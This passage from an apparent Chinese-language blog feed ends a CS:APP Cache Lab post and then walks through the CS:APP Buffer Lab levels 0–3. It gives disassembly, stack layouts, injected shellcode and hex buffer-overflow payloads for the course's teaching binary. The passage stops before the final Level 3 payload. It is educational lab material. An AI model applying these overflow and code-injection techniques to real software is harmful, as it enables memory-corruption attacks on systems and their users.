<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">else {</div><div class="code-line numbered-code-line" data-line-number="2">    int i, j, k, h;</div><div class="code-line numbered-code-line" data-line-number="3">    for (i = 0; i &#x3C; N; i += 16) {</div><div class="code-line numbered-code-line" data-line-number="4">        for (j = 0; j &#x3C; M; j += 16) {</div><div class="code-line numbered-code-line" data-line-number="5">            for (k = i; k &#x3C; i + 16 &#x26;&#x26; k &#x3C; N; k++) {</div><div class="code-line numbered-code-line" data-line-number="6">                for (h = j; h &#x3C; j + 16 &#x26;&#x26; h &#x3C; M; h++) {</div><div class="code-line numbered-code-line" data-line-number="7">                    B[h][k] = A[k][h];</div><div class="code-line numbered-code-line" data-line-number="8">                }</div><div class="code-line numbered-code-line" data-line-number="9">            }</div><div class="code-line numbered-code-line" data-line-number="10">        }</div><div class="code-line numbered-code-line" data-line-number="11">    }</div><div class="code-line numbered-code-line" data-line-number="12">}</div></code></pre>
<p>可以得到 1992 的 miss 数。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074018.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074018.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>最终在 <code>./driver.py</code> 的运行结果中，Part B 获得如下结果：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074022.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074022.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<hr>
<p>本实验的完整代码可以在这里找到：</p>
<p><a href="https://github.com/jtchen2k/LearningRepo/blob/master/Course/CSAPP/LAB4/billchen-handin.tar">https://github.com/jtchen2k/LearningRepo/blob/master/Course/CSAPP/LAB4/billchen-handin.tar</a></p>
<blockquote>
<p>一如既往地，现在又是凌晨了 orz.</p>
<p>2019.5.22</p>
</blockquote>]]></description>
            <link>https://jtchen.io/blog/csapp-cachelab</link>
            <guid isPermaLink="false">csapp-cachelab</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Wed, 22 May 2019 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[深入理解计算机系统 (CS:APP) 缓冲区漏洞实验 Buffer Lab 解析]]></title>
            <description><![CDATA[<blockquote>
<p>CS:APP 实验解析系列博客索引：</p>
<ul>
<li><a href="/blog/csapp-bomblab">深入理解计算机系统 (CS:APP) Bomb Lab 解析</a></li>
<li><a href="/blog/csapp-bufferlab">深入理解计算机系统 (CS:APP) 缓冲区漏洞实验 Buffer Lab 解析</a></li>
<li><a href="/blog/csapp-cachelab">深入理解计算机系统 (CS:APP) 高速缓存实验 Cache Lab 解析</a></li>
</ul>
<p>所有实验的代码可以在 <a href="https://github.com/jtchen2k/LearningRepo/tree/master/Course/CSAPP">这里</a> 找到。
写在前面</p>
</blockquote>
<hr>
<p>这是 CSAPP 官网上的第 4 个实验 buflab，也是学校要求的第三个实验。这个实验比上一个单纯考查汇编语言使用的 Bomblab 要难许多，需要认真理解一下程序运行时对栈帧的操作。对于自学的学生，可以前往 <a href="http://csapp.cs.cmu.edu/3e/labs.html">http://csapp.cs.cmu.edu/3e/labs.html</a> 下载，下载后能得到一个很详细的 pdf 文档，需要认真阅读才能知道作者想让我们干什么。做这个实验同样也啃了很久，花了十多个小时，不过也的确是对运行时栈的理解深刻了许多。</p>
<hr>
<p>通过阅读官方文档，bufbomb 在运行时会调用 getbuff 函数：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-comment">/* Buffer size for getbuf */</span></div><div class="code-line numbered-code-line" data-line-number="2">#<span class="hljs-meta hljs-keyword">define</span> NORMAL_BUFFER_SIZE 32</div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-type">int</span> <span class="hljs-title function_">getbuf</span><span class="hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="4">	<span class="hljs-type">char</span> buf[NORMAL_BUFFER_SIZE];</div><div class="code-line numbered-code-line" data-line-number="5">	Gets(buf);</div><div class="code-line numbered-code-line" data-line-number="6">	<span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;</div><div class="code-line numbered-code-line" data-line-number="7">}</div></code></pre>
<p>缓冲区大小为 32。一旦输入的字符超出 32 个就会出现<code>segmentation fault</code>，导致程序出现异常。而目标就是让程序出现异常，执行一些常规以外的代码。</p>
<p>这个实验就是利用程序溢出的漏洞来破解几个 level。</p>
<p>其中文件夹下的其他两个二进制文件<strong>hex2raw</strong>和<strong>makecookie</strong>分别用于将十六进制的字符数据转换成普通的字符串用于输入，和生成一个独一无二的 cookie 用于辨识作者。</p>
<p>根据官方文档，如果将答案存储在 exploit.txt 中，使用命令</p>
<p><code>cat exploit.txt | ./hex2raw | ./bufbomb -u bill</code></p>
<p>可以直接将字符串输入到 bomb 中验证答案。一个更有效的方法是：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">./hex2raw &#x3C; exploit.txt > exploit-raw.txt</div><div class="code-line numbered-code-line" data-line-number="2">./bufbomb -u bovik &#x3C; exploit-raw.txt</div></code></pre>
<p>文档中特别提醒到，每一个 exploit.txt 中的答案都应当以 0X0a 结尾，表示回车符结束输入。</p>
<p>在开始之前，使用<code>objdump -d bufbomb > bufbomb.s</code>来获取整个程序的汇编代码。</p>
<h2 id="level-0-candle"><a href="#level-0-candle">Level 0: Candle</a></h2>
<p><strong>目标：执行 smoke()，而不是让 getbuf() 返回 1。</strong></p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-type">void</span> <span class="hljs-title function_">test</span><span class="hljs-params">()</span> {</div><div class="code-line numbered-code-line" data-line-number="2">	<span class="hljs-type">int</span> val;</div><div class="code-line numbered-code-line" data-line-number="3">	<span class="hljs-comment">/* Put canary on stack to detect possible corruption */</span></div><div class="code-line numbered-code-line" data-line-number="4">	<span class="hljs-keyword">volatile</span> <span class="hljs-type">int</span> local = uniqueval();</div><div class="code-line numbered-code-line" data-line-number="5">	val = getbuf();</div><div class="code-line numbered-code-line" data-line-number="6">	    <span class="hljs-comment">/* Check for corrupted stack */</span></div><div class="code-line numbered-code-line" data-line-number="7">	    <span class="hljs-keyword">if</span> (local != uniqueval()) {</div><div class="code-line numbered-code-line" data-line-number="8">		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Sabotaged!: the stack has been corrupted\n"</span>);</div><div class="code-line numbered-code-line" data-line-number="9">	}</div><div class="code-line numbered-code-line" data-line-number="10">	<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (val == cookie) {</div><div class="code-line numbered-code-line" data-line-number="11">		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Boom!: getbuf returned 0x%x\n"</span>, val);</div><div class="code-line numbered-code-line" data-line-number="12">		validate(<span class="hljs-number">3</span>);</div><div class="code-line numbered-code-line" data-line-number="13">	}</div><div class="code-line numbered-code-line" data-line-number="14">	<span class="hljs-keyword">else</span> {</div><div class="code-line numbered-code-line" data-line-number="15">		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Dud: getbuf returned 0x%x\n"</span>, val);</div><div class="code-line numbered-code-line" data-line-number="16">	}</div><div class="code-line numbered-code-line" data-line-number="17">}</div></code></pre>
<p>在<code>bufboms.s</code>的第 363 行找到了 smoke 的地址 08048c18：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163943.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163943.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>再研究 test 的部分汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"> 08048daa &#x3C;test>:</div><div class="code-line numbered-code-line" data-line-number="2"> 8048daa:	55                   	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="3"> 8048dab:	89 e5                	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="4"> 8048dad:	53                   	push   %ebx</div><div class="code-line numbered-code-line" data-line-number="5"> 8048dae:	83 ec 24             	sub    $0x24,%esp</div><div class="code-line numbered-code-line" data-line-number="6"> 8048db1:	e8 da ff ff ff       	call   8048d90 &#x3C;uniqueval></div><div class="code-line numbered-code-line" data-line-number="7"> 8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)</div><div class="code-line numbered-code-line" data-line-number="8"> 8048db9:	e8 36 04 00 00       	call   80491f4 &#x3C;getbuf></div><div class="code-line numbered-code-line" data-line-number="9"> 8048dbe:	89 c3                	mov    %eax,%ebx</div><div class="code-line numbered-code-line" data-line-number="10"> 8048dc0:	e8 cb ff ff ff       	call   8048d90 &#x3C;uniqueval></div></code></pre>
<p>getbuff:</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">080491f4 &#x3C;getbuf>:</div><div class="code-line numbered-code-line" data-line-number="2"> 80491f4:	55                   	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="3"> 80491f5:	89 e5                	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="4"> 80491f7:	83 ec 38             	sub    $0x38,%esp</div><div class="code-line numbered-code-line" data-line-number="5"> 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax</div><div class="code-line numbered-code-line" data-line-number="6"> 80491fd:	89 04 24             	mov    %eax,(%esp)</div><div class="code-line numbered-code-line" data-line-number="7"> 8049200:	e8 f5 fa ff ff       	call   8048cfa &#x3C;Gets></div><div class="code-line numbered-code-line" data-line-number="8"> 8049205:	b8 01 00 00 00       	mov    $0x1,%eax</div><div class="code-line numbered-code-line" data-line-number="9"> 804920a:	c9                   	leave</div><div class="code-line numbered-code-line" data-line-number="10"> 804920b:	c3                   	ret</div></code></pre>
<p>可以看到 lea 把 buf 的指针地址 (-0x28 (% ebp)) 传给了 Gets ()，0x28 也就是十进制的 40 个字节。而 ebp 占了 4 个字节，buf 距离 getbuff 的返回地址还有 44 个字节。</p>
<table>
<thead>
<tr>
<th>返回地址</th>
<th>需要修改的地址</th>
</tr>
</thead>
<tbody>
<tr>
<td>ebp</td>
<td>- 占用4字节</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 40 字节</td>
<td>buf 数组的初始地址</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 0x38</td>
<td>esp，栈帧首地址</td>
</tr>
</tbody>
</table>
<p>从文档中得知：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163946.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163946.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>Gets 函数不验证是否超出了 <code>NORMAL_BUFFER_SIZE</code>，所以超出字符的就会覆盖掉内存。</p>
<p>那么只要在 buf 开始处随便填入 44 字节（0a 除外，会终止输入），然后在后面加入 smoke 的地址，覆盖掉栈中的返回地址即可。</p>
<p>另外需要注意的是 x86 机器为小端法机器，最低有效字节在内存的前面，所以在 exploit.txt 中填入如下答案即可：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="2">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="3">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="4">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="5">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="6">00 00 00 00 18 8c 04 08 0a</div></code></pre>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-05-06-17-41-54.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-05-06-17-41-54.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<h2 id="level-1-sparkler"><a href="#level-1-sparkler">Level 1: Sparkler</a></h2>
<p><strong>目标：调用 fizz(val) 函数，并将自己的 cookies 传递为参数。</strong></p>
<p>研究 fizz 的汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">08048c42 &#x3C;fizz>:</div><div class="code-line numbered-code-line" data-line-number="2"> 8048c42:	55                   	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="3"> 8048c43:	89 e5                	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="4"> 8048c45:	83 ec 18             	sub    $0x18,%esp</div><div class="code-line numbered-code-line" data-line-number="5">    # ebp + 8 就是参数 val</div><div class="code-line numbered-code-line" data-line-number="6"> 8048c48:	8b 45 08             	mov    0x8(%ebp),%eax</div><div class="code-line numbered-code-line" data-line-number="7"> 8048c4b:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax</div><div class="code-line numbered-code-line" data-line-number="8"> 8048c51:	75 26                	jne    8048c79 &#x3C;fizz+0x37></div><div class="code-line numbered-code-line" data-line-number="9"> 8048c53:	89 44 24 08          	mov    %eax,0x8(%esp)</div><div class="code-line numbered-code-line" data-line-number="10"> 8048c57:	c7 44 24 04 ee a4 04 	movl   $0x804a4ee,0x4(%esp)</div><div class="code-line numbered-code-line" data-line-number="11"> 8048c5e:	08</div><div class="code-line numbered-code-line" data-line-number="12"> 8048c5f:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)</div><div class="code-line numbered-code-line" data-line-number="13"> 8048c66:	e8 55 fd ff ff       	call   80489c0 &#x3C;__printf_chk@plt></div><div class="code-line numbered-code-line" data-line-number="14"> 8048c6b:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)</div><div class="code-line numbered-code-line" data-line-number="15"> 8048c72:	e8 04 07 00 00       	call   804937b &#x3C;validate></div><div class="code-line numbered-code-line" data-line-number="16"> 8048c77:	eb 18                	jmp    8048c91 &#x3C;fizz+0x4f></div><div class="code-line numbered-code-line" data-line-number="17"> 8048c79:	89 44 24 08          	mov    %eax,0x8(%esp)</div><div class="code-line numbered-code-line" data-line-number="18"> 8048c7d:	c7 44 24 04 40 a3 04 	movl   $0x804a340,0x4(%esp)</div><div class="code-line numbered-code-line" data-line-number="19"> 8048c84:	08</div><div class="code-line numbered-code-line" data-line-number="20"> 8048c85:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)</div><div class="code-line numbered-code-line" data-line-number="21"> 8048c8c:	e8 2f fd ff ff       	call   80489c0 &#x3C;__printf_chk@plt></div><div class="code-line numbered-code-line" data-line-number="22"> 8048c91:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)</div><div class="code-line numbered-code-line" data-line-number="23"> 8048c98:	e8 63 fc ff ff       	call   8048900 &#x3C;exit@plt></div></code></pre>
<p>和第一个阶段相比，除了破坏栈帧调用函数以外，还需要构造一个参数。我这里使用的 cookies 为 0x362d5a70。</p>
<p>在会变函数重能够发现在和 0x804d108 对比，推测这里就是储存的我们的 cookie。打印出来后发现的确是 cookie：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163948.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163948.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>后面的逻辑大概就是判断 val 和 cookie 是否相等。所以这里就需要在栈帧构造出下列结构：</p>
<table>
<thead>
<tr>
<th>地址</th>
<th>解释</th>
</tr>
</thead>
<tbody>
<tr>
<td>ebp + 8 字节</td>
<td>val</td>
</tr>
<tr>
<td>返回地址</td>
<td>应当为 fizz 的首地址</td>
</tr>
<tr>
<td>ebp</td>
<td>- 占用4字节</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 40 字节</td>
<td>buf 数组的初始地址</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 0x38</td>
<td>esp，栈帧首地址</td>
</tr>
</tbody>
</table>
<p>所以这里应该注入一个 52 字节，前 44 字节为任意值，然后注入 4 字节，为 fizz 函数的首地址 0x08048c42 ，接着离第一个参数开始还有 4 个字节，随意填充，再注入 4 个字节，为 cookies 0x362d5a70. 构造出的答案如下：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="2">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="3">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="4">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="5">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="6">00 00 00 00 42 8c 04 08</div><div class="code-line numbered-code-line" data-line-number="7">00 00 00 00 70 5a 2d 36 0a</div></code></pre>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-05-06-20-25-49.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-05-06-20-25-49.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<h2 id="level-2-firecracker"><a href="#level-2-firecracker">Level 2: Firecracker</a></h2>
<p><strong>目标：含有一个 bang 函数，和一个全局变量 global_value，需要注入机器代码，修改 global_value 为 cookies 的值，再调用 bang 函数。</strong></p>
<p>从文档中获得的 bang 代码如下。</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"><span class="hljs-type">int</span> global_value = <span class="hljs-number">0</span>;</div><div class="code-line numbered-code-line" data-line-number="2"></div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-type">void</span> <span class="hljs-title function_">bang</span>(<span class="hljs-params hljs-type">int</span> val) {</div><div class="code-line numbered-code-line" data-line-number="4">	<span class="hljs-keyword">if</span> (global_value == cookie) {</div><div class="code-line numbered-code-line" data-line-number="5">		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Bang!: You set global_value to 0x%x\n"</span>, global_value);</div><div class="code-line numbered-code-line" data-line-number="6">		validate(<span class="hljs-number">2</span>);</div><div class="code-line numbered-code-line" data-line-number="7">	} <span class="hljs-keyword">else</span></div><div class="code-line numbered-code-line" data-line-number="8">		<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Misfire: global_value = 0x%x\n"</span>, global_value);</div><div class="code-line numbered-code-line" data-line-number="9">	<span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);</div><div class="code-line numbered-code-line" data-line-number="10">}</div></code></pre>
<p>研究 bang 汇编语言的前几行：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">08048c9d &#x3C;bang>:</div><div class="code-line numbered-code-line" data-line-number="2">8048c9d:	55                   	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="3">8048c9e:	89 e5                	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="4">8048ca0:	83 ec 18             	sub    $0x18,%esp</div><div class="code-line numbered-code-line" data-line-number="5">8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax</div><div class="code-line numbered-code-line" data-line-number="6">8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax</div><div class="code-line numbered-code-line" data-line-number="7">8048cae:	75 26                	jne    8048cd6 &#x3C;bang+0x39></div><div class="code-line numbered-code-line" data-line-number="8">8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp)</div><div class="code-line numbered-code-line" data-line-number="9">8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)</div></code></pre>
<p>在这里可以看到程序在将 eax 的值和 <code>0x804d100</code> 作比较，推测 globla_value 存储的位置就是在 <code>0x804d100</code>。后面又一次出现了 <code>0x804d108</code>，根据前面的分析存储的是 cookies  的值。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163949.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163949.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>所以为了修改变量值，需要将汇编代码注入到程序当中。文档提示我们不要使用 jmp 和 call，所以为了执行 bang 函数，要将 bang 函数的地址 push 进栈中，然后使用 ret 命令。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163951.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163951.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>汇编代码如下：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"># 改变 global_value</div><div class="code-line numbered-code-line" data-line-number="2">movl $0x362d5a70, 0x804d100</div><div class="code-line numbered-code-line" data-line-number="3"># 将 bang 函数的首地址压入栈</div><div class="code-line numbered-code-line" data-line-number="4">pushl $0x08048c9d</div><div class="code-line numbered-code-line" data-line-number="5">ret</div></code></pre>
<p>接下来就是将汇编语言转换成十六进制的机器代码了。使用<code>gcc -m32 -c</code> 和 <code>objdump -d</code>可以得到转换之后的文件：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">00000000 &#x3C;.text>:</div><div class="code-line numbered-code-line" data-line-number="2">   0:	c7 05 00 d1 04 08 70 	movl   $0x362d5a70,0x804d100</div><div class="code-line numbered-code-line" data-line-number="3">   7:	5a 2d 36</div><div class="code-line numbered-code-line" data-line-number="4">   a:	68 9d 8c 04 08       	push   $0x8048c9d</div><div class="code-line numbered-code-line" data-line-number="5">   f:	c3                   	ret</div></code></pre>
<p>那么所有的字节就是 <code>c7 05 00 d1 04 08 70 5a 2d 36 68 9d 8c 04 08 c3</code>。接下来回到 getbuff 的汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">080491f4 &#x3C;getbuf>:</div><div class="code-line numbered-code-line" data-line-number="2"> 80491f4:	55                   	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="3"> 80491f5:	89 e5                	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="4"> 80491f7:	83 ec 38             	sub    $0x38,%esp</div><div class="code-line numbered-code-line" data-line-number="5"> 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax</div><div class="code-line numbered-code-line" data-line-number="6"> 80491fd:	89 04 24             	mov    %eax,(%esp)</div><div class="code-line numbered-code-line" data-line-number="7"> 8049200:	e8 f5 fa ff ff       	call   8048cfa &#x3C;Gets></div><div class="code-line numbered-code-line" data-line-number="8"> 8049205:	b8 01 00 00 00       	mov    $0x1,%eax</div><div class="code-line numbered-code-line" data-line-number="9"> 804920a:	c9                   	leave</div><div class="code-line numbered-code-line" data-line-number="10"> 804920b:	c3                   	ret</div></code></pre>
<p>应当构造如下结构：</p>
<table>
<thead>
<tr>
<th>地址</th>
<th>解释</th>
</tr>
</thead>
<tbody>
<tr>
<td>返回地址</td>
<td>应当覆盖为我们输入缓冲区的首地址</td>
</tr>
<tr>
<td>ebp</td>
<td>- 占用4字节</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 40 字节</td>
<td>buf 数组的初始地址，从这里开始注入代码</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 0x38</td>
<td>esp，栈帧首地址</td>
</tr>
</tbody>
</table>
<p>在程序运行到 lea 语句之后，使用 <code>info registers</code> 获得 eax 的地址为 0x556830e8。注意到这里 eax 里的地址也是缓冲区的首地址。所以需要先在缓冲区的前面几个字节就注入汇编代码，然后在 44 字节之后注入缓冲区的起点地址，让程序跳转回来。</p>
<p>结合以上信息，构造下列答案：</p>
<pre><code class="hljs"><div class="code-line numbered-code-line" data-line-number="1">c7 05 00 d1 04 08 70 5a</div><div class="code-line numbered-code-line" data-line-number="2">2d 36 68 9d 8c 04 08 00</div><div class="code-line numbered-code-line" data-line-number="3">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="4">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="5">00 00 00 00 00 00 00 00</div><div class="code-line numbered-code-line" data-line-number="6">00 00 00 00 e8 30 68 55 0a</div></code></pre>
<p>成功通过。</p>
<p><a href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-2019-05-06-21-59-25.png"></a></p>
<h2 id="level-3-dynamite"><a href="#level-3-dynamite">Level 3: Dynamite</a></h2>
<p><strong>目标：这个 Level 要求我们注入一段能够修改 getbuf 返回值的代码，返回值从 1 改成 cookie 值，此外还需要还原所有破坏，继续运行 test 的剩下部分。</strong></p>
<p>同样回到 getbuff 的汇编代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">080491f4 &#x3C;getbuf>:</div><div class="code-line numbered-code-line" data-line-number="2">80491f4:	55                   	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="3">80491f5:	89 e5                	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="4">80491f7:	83 ec 38             	sub    $0x38,%esp</div><div class="code-line numbered-code-line" data-line-number="5">80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax</div><div class="code-line numbered-code-line" data-line-number="6">80491fd:	89 04 24             	mov    %eax,(%esp)</div><div class="code-line numbered-code-line" data-line-number="7">8049200:	e8 f5 fa ff ff       	call   8048cfa &#x3C;Gets></div><div class="code-line numbered-code-line" data-line-number="8">8049205:	b8 01 00 00 00       	mov    $0x1,%eax</div><div class="code-line numbered-code-line" data-line-number="9">804920a:	c9                   	leave</div><div class="code-line numbered-code-line" data-line-number="10">804920b:	c3                   	ret</div></code></pre>
<p>注意到在 Gets 之后，eax 会被修改为 1，所以在正常情况下函数总会返回 1。而为了改变这一行需要我们手动修改 eax 为 coockie，所以需要注入一段代码，首先手动设置 eax 为 cookie，然后将返回地址设置为 test 在调用了 getbuf 之后的下一行 0x08048dbe</p>
<p>结合 test 的前几行代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1"> 08048daa &#x3C;test>:</div><div class="code-line numbered-code-line" data-line-number="2"> 8048daa:	55                   	push   %ebp</div><div class="code-line numbered-code-line" data-line-number="3"> 8048dab:	89 e5                	mov    %esp,%ebp</div><div class="code-line numbered-code-line" data-line-number="4"> 8048dad:	53                   	push   %ebx</div><div class="code-line numbered-code-line" data-line-number="5"> 8048dae:	83 ec 24             	sub    $0x24,%esp</div><div class="code-line numbered-code-line" data-line-number="6"> 8048db1:	e8 da ff ff ff       	call   8048d90 &#x3C;uniqueval></div><div class="code-line numbered-code-line" data-line-number="7"> 8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)</div><div class="code-line numbered-code-line" data-line-number="8"> 8048db9:	e8 36 04 00 00       	call   80491f4 &#x3C;getbuf></div><div class="code-line numbered-code-line" data-line-number="9"> 8048dbe:	89 c3                	mov    %eax,%ebx</div><div class="code-line numbered-code-line" data-line-number="10"> 8048dc0:	e8 cb ff ff ff       	call   8048d90 &#x3C;uniqueval></div></code></pre>
<p>所以应当构造 Gets 的栈帧如下：</p>
<table>
<thead>
<tr>
<th>地址</th>
<th>解释</th>
</tr>
</thead>
<tbody>
<tr>
<td>返回地址</td>
<td>设置成缓冲区的首地址</td>
</tr>
<tr>
<td>ebp</td>
<td>占用4字节</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 40 字节</td>
<td>buf 数组的初始地址，从这里开始注入修改 eax 的代码</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>ebp - 0x38</td>
<td>esp，栈帧首地址</td>
</tr>
</tbody>
</table>
<p>在最开始，同样需要注入一句汇编语句：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">movl $0x362d5a70, %eax</div><div class="code-line numbered-code-line" data-line-number="2">push $0x0804920a</div><div class="code-line numbered-code-line" data-line-number="3">ret</div></code></pre>
<p>使用<code>gcc -m32 -c</code> 和 <code>objdump -d</code>可以得到机器代码：</p>
<pre><code class="hljs language-s" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">00000000 &#x3C;.text>:</div><div class="code-line numbered-code-line" data-line-number="2">   0:	b8 70 5a 2d 36       	mov    $0x362d5a70,%eax</div><div class="code-line numbered-code-line" data-line-number="3">   5:	68 be 8d 04 08       	push   $0x8048dbe</div><div class="code-line numbered-code-line" data-line-number="4">   a:	c3                   	ret</div></code></pre>
<p>得到需要注入的机器代码：<code>b8 70 5a 2d 36 68 be 8d 04 08 c3</code></p>
<p>为了防止对栈的破坏，% ebp 是被调用者保存寄存器，是 test 在调用 getbuf 之后，getbuf 首先就就压进了栈帧里。同时为了使程序继续运行，需要保证 ebp 不被破坏。使用 gdb，在 getbuf 的第一行 <code>0x080491f4 </code> 处打下断点，研究此时 % ebp 的值。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163952.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-163952.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>得到 ebp 的值是 <code>0x55683140</code>。所以需要注入的时候在 40 - 44 字节注入保存好的 ebp 值，可以防止 ebp 的值被破坏。</p>
<p>总的逻辑就是先注入一段可以修改 eax 信息，并将 test 调用完 getbuf 之后的下一句代码 push 进栈帧的机器代码，接着在后面补充原先的寄存器状态，最后在将返回地址设置为缓冲区的开头部分，执行已经注入的代码。</p>
<p>结合以上信息构造答案：</p>
